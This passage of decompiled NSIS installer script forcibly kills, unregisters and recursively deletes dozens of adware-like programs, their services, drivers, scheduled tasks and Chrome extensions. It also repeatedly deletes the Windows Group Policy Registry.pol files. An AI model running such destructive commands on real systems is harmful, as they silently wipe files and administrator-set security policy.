$SYSDIR\GroupPolicy\User\Registry.pol 0 label_1872 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol label_1872: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\GroupPolicy\Machine\R 0 label_1879 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\R label_1879: IfFileExists $SYSDIR\GroupPolicy\User\R 0 label_1881 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\R label_1881: IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_1883 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol label_1883: IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_1885 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol label_1885: Delete /REBOOTOK $WINDIR\sysWOW64\SearchProtectService.exe label_1886: IfFileExists $WINDIR\system32\SearchProtectService.exe 0 label_1916 DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPS DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run C System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\GroupPolicy\Machine\R 0 label_1896 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\R label_1896: IfFileExists $SYSDIR\GroupPolicy\User\R 0 label_1898 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\R label_1898: IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_1900 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol label_1900: IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_1902 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol label_1902: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\GroupPolicy\Machine\R 0 label_1909 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\R label_1909: IfFileExists $SYSDIR\GroupPolicy\User\R 0 label_1911 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\R label_1911: IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_1913 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol label_1913: IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_1915 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol label_1915: Delete /REBOOTOK $WINDIR\system32\SearchProtectService.exe label_1916: IfFileExists "$LOCALAPPDATA\Host Service" 0 label_1935 nsExec::Exec "cmd /k taskkill /IM nssm.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM nssm.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM dofilter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM dofilter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM dofilterHost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM dofilterHost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Host Service" DeleteRegKey HKLM SYSTEM\ControlSet001\services\dofilter RMDir /r /REBOOTOK "$LOCALAPPDATA\Host Service" label_1935: IfFileExists $DESKTOP\¶à²Ê±ãÇ©.lnk 0 label_1937 Delete $DESKTOP\¶à²Ê±ãÇ©.lnk label_1937: IfFileExists $PROGRAMFILES\anote\anote.exe 0 label_1944 nsExec::Exec "cmd /k taskkill /IM anote.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM anote.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\anote label_1944: IfFileExists $PROGRAMFILES\Sicotion\sicotionhst.dll 0 label_1946 RMDir /r /REBOOTOK $PROGRAMFILES\Sicotion label_1946: IfFileExists $PROGRAMFILES\cmcm\kdesk\kdeskcore.exe 0 label_1960 nsExec::Exec "cmd /k taskkill /IM kdeskcore.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM kdeskcore.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM kdesk.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM kdesk.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\kdeskcore DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run kdesk RMDir /r /REBOOTOK $PROGRAMFILES\cmcm label_1960: IfFileExists $PROGRAMFILES\kbasesrv\kbasesrv.exe 0 label_1968 nsExec::Exec "cmd /k taskkill /IM kbasesrv.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM kbasesrv.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\kbasesrv RMDir /r /REBOOTOK $PROGRAMFILES\kbasesrv label_1968: System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\kbasemgr.sys 0 label_1976 DeleteRegKey HKLM SYSTEM\ControlSet001\services\kbasemgr Delete /REBOOTOK $SYSDIR\drivers\kbasemgr.sys label_1976: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\kbasemgr.sys 0 label_1984 DeleteRegKey HKLM SYSTEM\ControlSet001\services\kbasemgr Delete /REBOOTOK $SYSDIR\drivers\kbasemgr.sys label_1984: IfFileExists "$PROGRAMFILES\Funshion Online" 0 label_1993 nsExec::Exec "cmd /k taskkill /IM Funshion.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Funshion.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Funshion DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Funshion RMDir /r /REBOOTOK "$PROGRAMFILES\Funshion Online" label_1993: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\hpcghcdjnehpkdecaflpedhklimnejia $0 IfErrors label_1997 DeleteRegKey HKLM Software\Google\Chrome\Extensions\hpcghcdjnehpkdecaflpedhklimnejia label_1997: IfFileExists "$APPDATA\User Pinned\TaskBar\Êèíîïîèñê.website" 0 label_1999 Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Êèíîïîèñê.website" label_1999: IfFileExists $PROGRAMFILES\MoshouInput 0 label_2017 nsExec::Exec "cmd /k taskkill /IM mohpimyin.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM mohpimyin.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM updater.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM updater.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM wizard.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM wizard.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run mohpimyin.exe RMDir /r /REBOOTOK $PROGRAMFILES\MoshouInput label_2017: IfFileExists $APPDATA\MoshouInput 0 label_2019 RMDir /r /REBOOTOK $APPDATA\MoshouInput label_2019: IfFileExists $LOCALAPPDATA\translatemgr 0 label_2031 nsExec::Exec "cmd /k taskkill /IM translatemgr.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM translatemgr.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"translatemgr$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"translatemgr$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\translatemgr label_2031: IfFileExists $PROGRAMFILES\ADSKIP\ADSkipSvc.exe 0 label_2049 nsExec::Exec "cmd /k taskkill /IM ADSkipSvc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ADSkipSvc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ADSkip.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ADSkip.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM BugReport.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM BugReport.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\ADSkipSvc RMDir /r /REBOOTOK $PROGRAMFILES\ADSKIP label_2049: IfFileExists $PROGRAMFILES\WeatherChickn\WeatherChickn.exe 0 label_2061 nsExec::Exec "cmd /k taskkill /IM WeatherChickn.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WeatherChickn.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"WeatherChickn$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"WeatherChickn$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\WeatherChickn label_2061: IfFileExists $PROGRAMFILES\IconRunner\MoneyBot.exe 0 label_2069 nsExec::Exec "cmd /k taskkill /IM MoneyBot.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MoneyBot.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run IconRunner RMDir /r /REBOOTOK $PROGRAMFILES\IconRunner label_2069: IfFileExists $APPDATA\WeatherChickn 0 label_2071 RMDir /r /REBOOTOK $APPDATA\WeatherChickn label_2071: IfFileExists $DESKTOP\AdSkip.lnk 0 label_2073 Delete $DESKTOP\AdSkip.lnk label_2073: IfFileExists $DESKTOP\¿ìѹ.lnk 0 label_2075 Delete $DESKTOP\¿ìѹ.lnk label_2075: IfFileExists $PROGRAMFILES\Wifisrv\WifiService.exe 0 label_2083 nsExec::Exec "cmd /k taskkill /IM WifiService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WifiService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\WifiSrv RMDir /r /REBOOTOK $PROGRAMFILES\Wifisrv label_2083: IfFileExists $PROGRAMFILES64\¿ìѹ 0 label_2105 nsExec::Exec "cmd /k taskkill /IM KuaiZip.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM KuaiZip.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM KZTui.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM KZTui.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM UpdateChecker.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UpdateChecker.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"KuaiZip_Update$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"KuaiZip_Update$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES64\¿ìѹ label_2105: System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\KuaiZipDrive.sys 0 label_2113 DeleteRegKey HKLM SYSTEM\ControlSet001\services\KuaiZipDrive Delete /REBOOTOK $SYSDIR\drivers\KuaiZipDrive.sys label_2113: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\KuaiZipDrive.sys 0 label_2121 DeleteRegKey HKLM SYSTEM\ControlSet001\services\KuaiZipDrive Delete /REBOOTOK $SYSDIR\drivers\KuaiZipDrive.sys label_2121: IfFileExists $PROGRAMFILES\ba3du\uc.exe 0 label_2135 nsExec::Exec "cmd /k taskkill /IM uc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM uc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Bind.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Bind.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide RMDir /r /REBOOTOK $PROGRAMFILES\ba3du label_2135: IfFileExists $PROGRAMFILES64\Caster\wizzcaster.exe 0 label_2143 nsExec::Exec "cmd /k taskkill /IM wizzcaster.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM wizzcaster.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Caster RMDir /r /REBOOTOK $PROGRAMFILES64\Caster label_2143: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jkfblcbjfojmgagikhldeppgmgdpjkpl $0 IfErrors label_2147 DeleteRegKey HKLM Software\Google\Chrome\Extensions\jkfblcbjfojmgagikhldeppgmgdpjkpl label_2147: IfFileExists $LOCALAPPDATA\ipro2\ipro2.exe 0 label_2159 nsExec::Exec "cmd /k taskkill /IM ipro2.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ipro2.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"ipro2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ipro2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\ipro2 label_2159: IfFileExists $DESKTOP\WarThunder.lnk 0 label_2161 Delete $DESKTOP\WarThunder.lnk label_2161: IfFileExists $DESKTOP\WeatherBug®.lnk 0 label_2163 Delete $DESKTOP\WeatherBug®.lnk label_2163: IfFileExists "$PROGRAMFILES64\Earth Networks\WeatherBug\WeatherBug.exe" 0 label_2176 nsExec::Exec "cmd /k taskkill /IM WeatherBug.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WeatherBug.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM CustomActions.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM CustomActions.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run WeatherBug RMDir /r /REBOOTOK "$PROGRAMFILES64\Earth Networks" label_2176: IfFileExists $APPDATA\ZU_WarThunder\Uninstaller.exe 0 label_2193 nsExec::ExecToStack "schtasks /delete /tn $\"WarThunder sat$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"WarThunder sat$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"WarThunder sun$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"WarThunder sun$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"WarThunder24$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"WarThunder24$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\ZU_WarThunder label_2193: IfFileExists $PROGRAMFILES\AudioVideoKit\AVKVideoConverter\AVKVideoConverter.exe 0 label_2205 nsExec::Exec "cmd /k taskkill /IM AVKVideoConverter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM AVKVideoConverter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"AVKVideoConverter$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"AVKVideoConverter$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\AudioVideoKit label_2205: IfFileExists $LOCALAPPDATA\AVKModules\dvdauthor.exe 0 label_2217 nsExec::Exec "cmd /k taskkill /IM dvdauthor.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM dvdauthor.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ffmpeg.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ffmpeg.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\AVKModules label_2217: IfFileExists "$DESKTOP\World of Warships.url" 0 label_2219 Delete "$DESKTOP\World of Warships.url" label_2219: IfFileExists $DESKTOP\FusionPlayer.lnk 0 label_2221 Delete $DESKTOP\FusionPlayer.lnk label_2221: IfFileExists $PROGRAMFILES\FusionPlayer\FusionPlayer.exe 0 label_2258 nsExec::Exec "cmd /k taskkill /IM FusionPlayer.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM FusionPlayer.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM BrowserBanner.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM BrowserBanner.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM FusionPlayerUpdater.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM FusionPlayerUpdater.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM FusionPlayerTaskScheduler.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM FusionPlayerTaskScheduler.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM FrameworkControl.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM FrameworkControl.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"FusionPlayer browser banner$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"FusionPlayer browser banner$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"FusionPlayer Updater$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"FusionPlayer Updater$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\FusionPlayer label_2258: IfFileExists $LOCALAPPDATA\FusionPlayer 0 label_2260 RMDir /r /REBOOTOK $LOCALAPPDATA\FusionPlayer label_2260: IfFileExists $APPDATA\FastLinkChrome\FastLinkChrome.exe 0 label_2272 nsExec::Exec "cmd /k taskkill /IM FastLinkChrome.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM FastLinkChrome.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"FastLinkChrome$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"FastLinkChrome$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\FastLinkChrome label_2272: IfFileExists $DESKTOP\StarColony.url 0 label_2274 Delete $DESKTOP\StarColony.url label_2274: IfFileExists "$DESKTOP\AVK Video Converter - Êîíâåðòàöèÿ âèäåî áåñïëàòíî.url" 0 label_2276 Delete "$DESKTOP\AVK Video Converter - Êîíâåðòàöèÿ âèäåî áåñïëàòíî.url" label_2276: IfFileExists $APPDATA\PushControl 0 label_2299 nsExec::Exec "cmd /k taskkill /IM PushControl.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM PushControl.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"PushControl$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"PushControl$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run PushControl RMDir /r /REBOOTOK $APPDATA\PushControl label_2299: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\lgdnilodcpljomelbbnpgdogdbmclbni $0 IfErrors label_2303 DeleteRegKey HKLM Software\Google\Chrome\Extensions\lgdnilodcpljomelbbnpgdogdbmclbni label_2303: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\cpegcopcfajiiibidlaelhjjblpefbjk $0 IfErrors label_2307 DeleteRegKey HKLM Software\Google\Chrome\Extensions\cpegcopcfajiiibidlaelhjjblpefbjk label_2307: IfFileExists $LOCALAPPDATA\AdsBlokator\launcher.exe 0 label_2320 nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdsBlokator RMDir /r /REBOOTOK $LOCALAPPDATA\AdsBlokator label_2320: IfFileExists $APPDATA\ScreenChromeShot\ScreenChromeShot.exe 0 label_2332 nsExec::Exec "cmd /k taskkill /IM ScreenChromeShot.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ScreenChromeShot.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"ScreenChromeShot$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ScreenChromeShot$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\ScreenChromeShot label_2332: IfFileExists $APPDATA\AdBlockerator\AdBlockerator.exe 0 label_2344 nsExec::Exec "cmd /k taskkill /IM AdBlockerator.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM AdBlockerator.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"AdBlockerator$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"AdBlockerator$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\AdBlockerator label_2344: IfFileExists "$PROGRAMFILES\maintenance software\comowin.exe" 0 label_2357 nsExec::Exec "cmd /k taskkill /IM comowin.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM comowin.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"maintenance service$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"maintenance service$\" /f" ; CallInstDLL 